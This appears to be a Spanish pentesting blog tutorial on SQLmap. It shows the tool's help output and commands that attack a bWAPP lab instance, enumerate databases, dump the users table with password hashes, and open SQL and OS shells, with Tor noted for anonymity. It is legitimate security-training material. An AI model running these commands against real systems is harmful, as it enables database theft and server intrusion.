Bienvenidos a un nuevo post en ByteMind. En este caso, y aprovechando la anterior explicación de ataques del tipo SQL Injection, vamos a tratar en este caso como explotar esta vulnerabilidad con la herramienta SQLmap.
Índice
¿Qué es SQLmap?
SQLmap es una herramienta desarrollada en python para automatizar ataques del tipo SQL Injection. Su objetivo es detectar y aprovechar las vulnerabilidades existentes en aplicaciones web. Una vez detectada una o varias inyecciones posibles, el usuario tiene la posibilidad de escoger entre una variedad de opciones, como puede ser enumerar usuarios, esquemas, tablas, hashes de contraseñas, permisos, ejecutar sus propias querys o incluso obtener una shell interactiva.
Tiene una gran variedad de características entre las que podemos destacar:
- Soporte completo para varios software de base de datos como MySQL, Oracle, PostgreSQL, mssql, access, SQLite, Firebird, Informix, Amazon Redshift, entre otros.
- Soporte completo para técnicas de inyección SQL como blind SQL, blind basado en tiempo, basado en errores, consultas UNION, apiladas y out-of-band.
- Permite una conexión directa sin la necesidad de pasar por la realización de una inyección SQL.
- Enumeración de bases de datos, tablas, columnas, usuarios, privilegios, roles y hashes de contraseñas.
- Reconocimiento automáticos de formatos de hash y soporte para su descifrado mediante ataques basados en diccionario.
- Soporte para la búsqueda de nombres concretos, tablas, datos o columnas específicas.
- Soporte para la carga y descarga de ficheros.
- Soporte para la ejecución de comandos arbitrarios y recuperación de la salida obtenida por los mismos.
- Soporte para establecer conexiones TCP entre la máquina atacante y el servidor subyacente del servidor de base de datos.
- Compatibilidad para la escalada de privilegios de usuario del proceso de la base de datos mediante el Meterpreter de Metasploit.
Para más información pueden verlo en su totalidad consultando su wiki.
Instalación de SQLmap
Para los usuarios que utilicen la distribución Kali Linux, no tienen que hacer nada, ya que viene instalada por defecto.
Para el resto, pueden descargarla desde su repositorio oficial en github:
1 |
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev |
Y posteriormente ejecutar la misma mediante python, como en el siguiente ejemplo:
1 |
$ python sqlmap.py -h |
Ayuda y opciones
Al igual que la gran mayoría de herramientas, SQLmap dispone de una ayuda bastante completa con la opción -h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 |
$ sqlmap -h ___ __H__ ___ ___[(]_____ ___ ___ {1.4.3#stable} |_ -| . [(] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| http://sqlmap.org Usage: python3 sqlmap [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK Process Google dork results as target URLs Request: These options can be used to specify how to connect to the target URL --data=DATA Data string to be sent through POST (e.g. "id=1") --cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..") --random-agent Use randomly selected HTTP User-Agent header value --proxy=PROXY Use a proxy to connect to the target URL --tor Use Tor anonymity network --check-tor Check to see if Tor is used properly Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to provided value Detection: These options can be used to customize the detection phase --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (1-3, default 1) Techniques: These options can be used to tweak testing of specific SQL injection techniques --technique=TECH.. SQL injection techniques to use (default "BEUSTQ") Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables -a, --all Retrieve everything -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --passwords Enumerate DBMS users password hashes --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries -D DB DBMS database to enumerate -T TBL DBMS database table(s) to enumerate -C COL DBMS database table column(s) to enumerate Operating system access: These options can be used to access the back-end database management system underlying operating system --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC General: These options can be used to set some general working parameters --batch Never ask for user input, use the default behavior --flush-session Flush session files for current target Miscellaneous: These options do not fit into any other category --sqlmap-shell Prompt for an interactive sqlmap shell --wizard Simple wizard interface for beginner users [!] to see full list of options run with '-hh' |
Aunque también tiene la opción -hh que nos daría una ayuda mucho más completa de las opciones disponibles:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 |
$ sqlmap -hh ___ __H__ ___ ___[,]_____ ___ ___ {1.4.3#stable} |_ -| . [(] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| http://sqlmap.org Usage: python3 sqlmap [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -d DIRECT Connection string for direct database connection -l LOGFILE Parse target(s) from Burp or WebScarab proxy log file -m BULKFILE Scan multiple targets given in a textual file -r REQUESTFILE Load HTTP request from a file -g GOOGLEDORK Process Google dork results as target URLs -c CONFIGFILE Load options from a configuration INI file Request: These options can be used to specify how to connect to the target URL -A AGENT, --user.. HTTP User-Agent header value -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") --method=METHOD Force usage of given HTTP method (e.g. PUT) --data=DATA Data string to be sent through POST (e.g. "id=1") --param-del=PARA.. Character used for splitting parameter values (e.g. &) --cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..") --cookie-del=COO.. Character used for splitting cookie values (e.g. ;) --load-cookies=L.. File containing cookies in Netscape/wget format --drop-set-cookie Ignore Set-Cookie header from response --mobile Imitate smartphone through HTTP User-Agent header --random-agent Use randomly selected HTTP User-Agent header value --host=HOST HTTP Host header value --referer=REFERER HTTP Referer header value --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") --auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred=AUTH.. HTTP authentication credentials (name:password) --auth-file=AUTH.. HTTP authentication PEM cert/private key file --ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401) --ignore-proxy Ignore system default proxy settings --ignore-redirects Ignore redirection attempts --ignore-timeouts Ignore connection timeouts --proxy=PROXY Use a proxy to connect to the target URL --proxy-cred=PRO.. Proxy authentication credentials (name:password) --proxy-file=PRO.. Load proxy list from a file --tor Use Tor anonymity network --tor-port=TORPORT Set Tor proxy port other than default --tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default)) --check-tor Check to see if Tor is used properly --delay=DELAY Delay in seconds between each HTTP request --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) --retries=RETRIES Retries when the connection timeouts (default 3) --randomize=RPARAM Randomly change value for given parameter(s) --safe-url=SAFEURL URL address to visit frequently during testing --safe-post=SAFE.. POST data to send to a safe URL --safe-req=SAFER.. Load safe HTTP request from a file --safe-freq=SAFE.. Regular requests between visits to a safe URL --skip-urlencode Skip URL encoding of payload data --csrf-token=CSR.. Parameter used to hold anti-CSRF token --csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token --csrf-method=CS.. HTTP method to use during anti-CSRF token page visit --force-ssl Force usage of SSL/HTTPS --chunked Use HTTP chunked transfer encoded (POST) requests --hpp Use HTTP parameter pollution method --eval=EVALCODE Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()") Optimization: These options can be used to optimize the performance of sqlmap -o Turn on all optimization switches --predict-output Predict common queries output --keep-alive Use persistent HTTP(s) connections --null-connection Retrieve page length without actual HTTP response body --threads=THREADS Max number of concurrent HTTP(s) requests (default 1) Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts -p TESTPARAMETER Testable parameter(s) --skip=SKIP Skip testing for given parameter(s) --skip-static Skip testing parameters that not appear to be dynamic --param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses") --param-filter=P.. Select testable parameter(s) by place (e.g. "POST") --dbms=DBMS Force back-end DBMS to provided value --dbms-cred=DBMS.. DBMS authentication credentials (user:password) --os=OS Force back-end DBMS operating system to provided value --invalid-bignum Use big numbers for invalidating values --invalid-logical Use logical operations for invalidating values --invalid-string Use random strings for invalidating values --no-cast Turn off payload casting mechanism --no-escape Turn off string escaping mechanism --prefix=PREFIX Injection payload prefix string --suffix=SUFFIX Injection payload suffix string --tamper=TAMPER Use given script(s) for tampering injection data Detection: These options can be used to customize the detection phase --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (1-3, default 1) --string=STRING String to match when query is evaluated to True --not-string=NOT.. String to match when query is evaluated to False --regexp=REGEXP Regexp to match when query is evaluated to True --code=CODE HTTP code to match when query is evaluated to True --smart Perform thorough tests only if positive heuristic(s) --text-only Compare pages based only on the textual content --titles Compare pages based only on their titles Techniques: These options can be used to tweak testing of specific SQL injection techniques --technique=TECH.. SQL injection techniques to use (default "BEUSTQ") --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-cols=UCOLS Range of columns to test for UNION query SQL injection --union-char=UCHAR Character to use for bruteforcing number of columns --union-from=UFROM Table to use in FROM part of UNION query SQL injection --dns-domain=DNS.. Domain name used for DNS exfiltration attack --second-url=SEC.. Resulting page URL searched for second-order response --second-req=SEC.. Load second-order HTTP request from file Fingerprint: -f, --fingerprint Perform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables -a, --all Retrieve everything -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --hostname Retrieve DBMS server hostname --is-dba Detect if the DBMS current user is DBA --users Enumerate DBMS users --passwords Enumerate DBMS users password hashes --privileges Enumerate DBMS users privileges --roles Enumerate DBMS users roles --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --count Retrieve number of entries for table(s) --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries --search Search column(s), table(s) and/or database name(s) --comments Check for DBMS comments during enumeration --statements Retrieve SQL statements being run on DBMS -D DB DBMS database to enumerate -T TBL DBMS database table(s) to enumerate -C COL DBMS database table column(s) to enumerate -X EXCLUDE DBMS database identifier(s) to not enumerate -U USER DBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables --pivot-column=P.. Pivot column name --where=DUMPWHERE Use WHERE condition while table dumping --start=LIMITSTART First dump table entry to retrieve --stop=LIMITSTOP Last dump table entry to retrieve --first=FIRSTCHAR First query output word character to retrieve --last=LASTCHAR Last query output word character to retrieve --sql-query=SQLQ.. SQL statement to be executed --sql-shell Prompt for an interactive SQL shell --sql-file=SQLFILE Execute SQL statements from given file(s) Brute force: These options can be used to run brute force checks --common-tables Check existence of common tables --common-columns Check existence of common columns --common-files Check existence of common files User-defined function injection: These options can be used to create custom user-defined functions --udf-inject Inject custom user-defined functions --shared-lib=SHLIB Local path of the shared library File system access: These options can be used to access the back-end database management system underlying file system --file-read=FILE.. Read a file from the back-end DBMS file system --file-write=FIL.. Write a local file on the back-end DBMS file system --file-dest=FILE.. Back-end DBMS absolute filepath to write to Operating system access: These options can be used to access the back-end database management system underlying operating system --os-cmd=OSCMD Execute an operating system command --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC --os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process user privilege escalation --msf-path=MSFPATH Local path where Metasploit Framework is installed --tmp-path=TMPPATH Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry --reg-read Read a Windows registry key value --reg-add Write a Windows registry key value data --reg-del Delete a Windows registry key value --reg-key=REGKEY Windows registry key --reg-value=REGVAL Windows registry key value --reg-data=REGDATA Windows registry key value data --reg-type=REGTYPE Windows registry key value type General: These options can be used to set some general working parameters -s SESSIONFILE Load session from a stored (.sqlite) file -t TRAFFICFILE Log all HTTP traffic into a textual file --answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N") --batch Never ask for user input, use the default behavior --binary-fields=.. Result fields having binary values (e.g. "digest") --check-internet Check Internet connection before assessing the target --cleanup Clean up the DBMS from sqlmap specific UDF and tables --crawl=CRAWLDEPTH Crawl the website starting from the target URL --crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout") --csv-del=CSVDEL Delimiting character used in CSV output (default ",") --charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef") --dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE) --encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK) --eta Display for each output the estimated time of arrival --flush-session Flush session files for current target --forms Parse and test forms on target URL --fresh-queries Ignore query results stored in session file --gpage=GOOGLEPAGE Use Google dork results from specified page number --har=HARFILE Log all HTTP traffic into a HAR file --hex Use hex conversion during data retrieval --output-dir=OUT.. Custom output directory path --parse-errors Parse and display DBMS error messages from responses --preprocess=PRE.. Use given script(s) for preprocessing of response data --repair Redump entries having unknown character marker (?) --save=SAVECONFIG Save options to a configuration INI file --scope=SCOPE Regexp for filtering targets --skip-waf Skip heuristic detection of WAF/IPS protection --table-prefix=T.. Prefix used for temporary tables (default: "sqlmap") --test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) --test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK) --web-root=WEBROOT Web server document root directory (e.g. "/var/www") Miscellaneous: These options do not fit into any other category -z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") --alert=ALERT Run host OS command(s) when SQL injection is found --beep Beep on question and/or when SQL injection is found --dependencies Check for missing (optional) sqlmap dependencies --disable-coloring Disable console output coloring --list-tampers Display list of available tamper scripts --offline Work in offline mode (only use session data) --purge Safely remove all content from sqlmap data directory --results-file=R.. Location of CSV results file in multiple targets mode --sqlmap-shell Prompt for an interactive sqlmap shell --tmp-dir=TMPDIR Local directory for storing temporary files --unstable Adjust options for unstable connections --update Update sqlmap --wizard Simple wizard interface for beginner users |
Comandos útiles y ejemplos
En nuestro caso y para mostrar algunas de las funcionalidades más útiles de esta herramienta vamos a realizar el ataque contra el software vulnerable bwapp.
Para empezar haremos un ataque básico a una url mostrando las ddbb existentes:
1 |
$ sqlmap -u "http://example.com/index.php?id=1" --dbs |
Los parámetros podríamos incluirlos en la propia url o con la opción –data como en el siguiente ejemplo:
1 |
$ sqlmap -u "http://example.com/index.php" --data="id=1" --dbs |
o podemos añadir las cookies como en el siguiente ejemplo:
1 |
$ sqlmap -u "http://example.com/index.php" --data="id=1" --cookie="cookie1=1;cookie2=2" --dbs |
Vamos a verlo con un ejemplo, en este caso vamos a utilizar los parámetros data, cookies y dbs para realizar un ataque a una url vulnerable de bwapp.
Ejecutaremos el siguiente comando:
1 |
$ sqlmap -u "http://192.168.56.107/bWAPP/sqli_1.php?title=a&action=search" --cookie="PHPSESSID=7c1395f25965f25e82ef3bba0c893abd; security_level=0" --dbs |
Y obtendremos las bases de datos como vemos en la siguiente captura:
Ahora obtendremos las tablas de la ddbb bWAPP:
1 |
$ sqlmap -u "http://192.168.56.107/bWAPP/sqli_1.php?title=a&action=search" --cookie="PHPSESSID=7c1395f25965f25e82ef3bba0c893abd; security_level=0" -D bWAPP --tables |
Si os fijáis en el anterior comando, en lugar de añadir la opción –dbs, utilizamos la opción -D para especificar la ddbb y la opción –tables para obtener las tablas de la misma.
Y ahora toca obtener las columnas de por ejemplo la tabla users:
1 |
$ sqlmap -u "http://192.168.56.107/bWAPP/sqli_1.php?title=a&action=search" --cookie="PHPSESSID=7c1395f25965f25e82ef3bba0c893abd; security_level=0" -D bWAPP -T users --columns |
En este caso especificamos la tabla con la opción -T y con la opción –columns indicamos que nos muestre las columnas.
Si, a continuación, queremos obtener los datos existentes en lugar de las columnas podemos utilizar la opción –dump
1 |
$ sqlmap -u "http://192.168.56.107/bWAPP/sqli_1.php?title=a&action=search" --cookie="PHPSESSID=7c1395f25965f25e82ef3bba0c893abd; security_level=0" -D bWAPP -T users --dump |
Y en este caso, al existir hashes de las contraseñas de los usuarios no solicita si queremos utilizar un diccionario propio o el utilizado por defecto por la herramienta para obtener las claves en plano.
Si quisieramos obtener sólo ciertas columnas, podemo especificar dicha opción con -C como en el siguiente ejemplo:
1 |
$ sqlmap -u "url?id=1" -D database_name -T table_name -C column1,column2,columnn --dump |
Ahora vamos a ver varios comandos de ejemplo que pueden ser útiles en según que ocasiones.
Como obtener una shell interactiva con la base de datos:
1 |
$ sqlmap -u "url?id=1" --sql-shell |
O una shell del sistema:
1 |
$ sqlmap -u "url?id=1" --os-shell |
Especificar el motor de base de datos víctima con la opción –dbms:
1 |
$ sqlmap --dbms=mysql -u "url?id=1" --dbs |
Especificar el nivel y riesgo del ataque:
1 |
$ sqlmap -u "url?id=1" --level=1-5 --risk=1-3 |
Ejecutar nuestra query personalizada:
1 |
$ sqlmap -u "url?id=1" -D database_name -sql-query "SELECT * FROM tablename;" |
Utilizar tor para anonimizar nuestro ataque:
1 |
$ sqlmap --tor --tor-type=SOCKS5 --check-tor -u "url?id=1" --dbs |
Obtener el banner del motor de base de datos:
1 |
$ sqlmap -u "url?id=1" -b |
Listar usuarios y/o contraseñas:
1 |
$ sqlmap -u "url?id=1" –-users --passwords |
Como vemos esta herramienta dispone de múltiples combinaciones y posibilidades que pueden ayudar a conseguir explotar esta vulnerabilidad en el equipo víctima.
Al igual que indico en numerosas ocasiones, esta información sólo está disponible con fines legales, recordar que necesitamos de un consentimiento escrito por parte del propietario para realizar cualquier acción en un sistema que no sea de nuestra propiedad. No nos hacemos responsables de cualquier acto ilegal realizado con la ayuda de nuestros aportes.
Esto ha sido todo por el momento, espero les haya gustado y les sea de utilidad y como siempre cualquier aporte, duda o sugerencia es bienvenida en la sección de comentarios.